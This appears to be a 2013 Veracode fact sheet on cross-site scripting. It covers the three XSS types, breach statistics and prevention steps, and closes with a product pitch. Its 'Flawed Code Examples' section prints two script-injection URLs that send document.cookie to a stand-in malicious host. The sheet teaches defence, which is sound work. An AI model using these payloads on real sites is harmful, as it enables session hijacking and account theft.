FACT SHEET

Cross-site Scripting

Cross-site Scripting, or XSS for short, is a type of web application security vulnerability that allows an attacker to add malicious code to an application that can then execute in a user's browser.

Cross-site Scripting is one of the most common application-layer web attacks. In XSS attacks, the victim is the user rather than the application. XSS attacks target client-side scripting languages such as HTML and JavaScript to embed a malicious script in a web page. These attacks can execute every time the page is loaded into a user's browser or whenever an associated action is performed by the user.

Potential outcomes of XSS attacks include browser session hijacking, stealing account credentials, displaying unwanted advertisements, and infecting the user with a virus or other malware. However, the most malevolent XSS attacks complete their dirty work in secret, accessing unrelated web applications and resources behind the victim's firewall. XSS vulnerabilities in software are easily preventable, yet most companies don't take measures to protect their users.

How Attackers Exploit XSS Vulnerabilities

Cross-site Scripting is a vulnerability that arises when web applications take data from users and dynamically include it in web pages *without* first properly validating the data. XSS vulnerabilities allow an attacker to execute arbitrary commands or run malicious code in a victim's browser during an active web session, bypassing normal security restrictions. A successful XSS attack results in an attacker controlling the victim's browser or online account in the vulnerable application.

There are three different types of Cross-site Scripting attacks:

Reflective – When interacting with a typical web application, the user will send a web request to the server, such as submitting a form. The application then responds with a page containing an echo of what the user has submitted for confirmation. Web apps with XSS vulnerabilities allow potentially harmful data to be inserted during this routine transaction. A malicious string of Javascript can replace or append itself to the user's entry, which the user's browser sees and executes when returned. A reflective XSS attacker entices the victim into initiating the HTTP request by clicking on a malicious link embedded in an email or a counterfeit web page that appears legitimate.

Persistent – Persistent XSS exploits can occur when a web application stores user-generated data and sends it back to the user's browser without properly securing it. This kind of XSS attack is more dangerous since the attacker doesn't have to entice users into performing any suspicious actions. If user data is not properly sanitized before being displayed in the client browser, then any user of the application can potentially become a victim.

XSS Facts

#1 Web Application Risk: Cross-site Scripting was the leading web application risk of 2012. XSS ranks as one of the most common software vulnerabilities present in greater than 60% of applications. (source: Veracode State of Software Security Report)

The Root Cause of Breaches: Cross-site Scripting has been responsible for 26% of all successful hacking-related data breaches from 2005-2012. (source: Web Application Security Consortium)

XSS Can Affect Any Company: In 2012 the following companies had XSS vulnerabilities found in their software: Apple, Google, IBM, MTV, NASA, Skype, Windows Live, and WordPress. (source: Veracode State of Software Security 2012)

Incidents Explode: The modern era of XSS began in 2005 when the Samy worm took down the early social networking site MySpace. Within 20 hours it had infected one million users, making it the fastest spreading virus at the time. (source: ZD Net)

OWASP Most Wanted: OWASP positioned XSS as #2 on its Top 10 list of software vulnerabilities in 2010 after hackers used a brute-force attack on Apache.org to gain administrator privileges and steal all user passwords. (source: ZD Net)

Additional Resources:

Veracode resources on Cross-site

Scripting include:

What is Cross-site Scripting? (blog)

Developer's Guide to Building Secure Web Applications (infographic)

No More Excuses: Eradicate Cross-site Scripting Now (webinar)

Safe Coding and Software Security (infographic)

XSS: Detect, Attack, and Fix (video)

DOM-based – XSS attacks can exploit the Document Object Model standard that enables API access to the content of HTML and XML documents. Many applications rely on pages that contain client-side scripts that dynamically generate HTML content. Based on certain user input, these pages modify their HTML without any interaction with the server, typically using Java or ActiveX. An XSS attacker has employed DOM-based XSS methodology if a malicious script can be injected into such a page without any data being submitted to the server. Unlike the other XSS techniques, in DOM-based exploits the client-side script is responsible for not properly sanitizing user input rather than the server.

How to Fix & Prevent XSS Injection Flaws

It is very simple to avoid having Cross-site Scripting (XSS) vulnerabilities in your code. These fixes lock down the process of passing necessary data between a web application and the user's browser. They can be employed with any kind of programming language and any type of database. Refer to these basic methods for identifying and preventing XSS errors in web applications.

1. Validate data input from user browsers to the web application.

Developers can prevent reflective Cross-site Scripting vulnerabilities by sanitizing user-inputted data in an HTTP request before reflecting it back. Malicious code is commonly inserted as part of a GET or POST parameter. Be sure to sanitize all input from search fields and forms and convert all user input to a single character encoding before parsing. This applies to Single/Double Hex Encoding, Unicode Encoding, and UTF-8 Parsing.

2. Encode all output to user browsers from the web application.

Make sure all data is validated, filtered, or escaped before echoing back to the user, such as the values of query parameters during searches. Use the appropriate escaping method for the application's context. HTML encode all user input returned as part of HTML. URL encode all user input returned as part of URLs. Convert special characters such as ?, &, /, <, >, and spaces to their respective HTML or URL encoded equivalents.

3. Give users the option to disable client-side scripts.

Some web applications are written to optionally operate without client-side processing at all. This is a development tradeoff which can reduce application functionality or responsiveness. Alternatively, developers can take advantage of common browser plugins that allow users to disable client-side scripts entirely, or instead give the user the option of *enabling* them within specific applications. When implemented, even potentially malicious scripts could be injected on a page but the user would not be susceptible.

Flawed Code Examples

Reflective XSS

This XSS JavaScript example is delivered to the user through clicking on a malicious link. The XSS request is initiated from the victim's browser, sent to the vulnerable web application, and then reflected back to execute in the context of the user's session.

```
http://www.bigsafebank~~~/search.asp?q=<script>x=new Image;x.src =
http://malicious-domain~~~/hijackedsession.php?session-
cookie=+document.cookie  ;</script>
```

Persistent XSS

This XSS Javascript example is inputted as part of the attacker's user name. Here a fraudulent user exploits the fact that the web application stores each user name in a local database that fails to sanitize the name field, leaving it open to XSS attacks. When other users view the attacker's profile page, the code executes in the context of their session.

```
http://www.bigsafebank.com/search.asp?q=<script>x=new Image;x.src =
http://maliciousdomain~~~/hijackedsession.php?sessioncookie="+document.co
okie;</script>
```

How Veracode Can Help

Veracode's Platform analyzes an application's control and data flow – the way an attacker sees it. Veracode's testing approach accurately detects XSS and other security flaws found in vendor-supplied and internally-developed code. Veracode also provides eLearning courses that train developers to avoid this common vulnerability.

Sign up for a Veracode Trial today!

VERACODE
Securing the Software That Runs the World

www.veracode.com

© 2013 Veracode, Inc.
All rights reserved.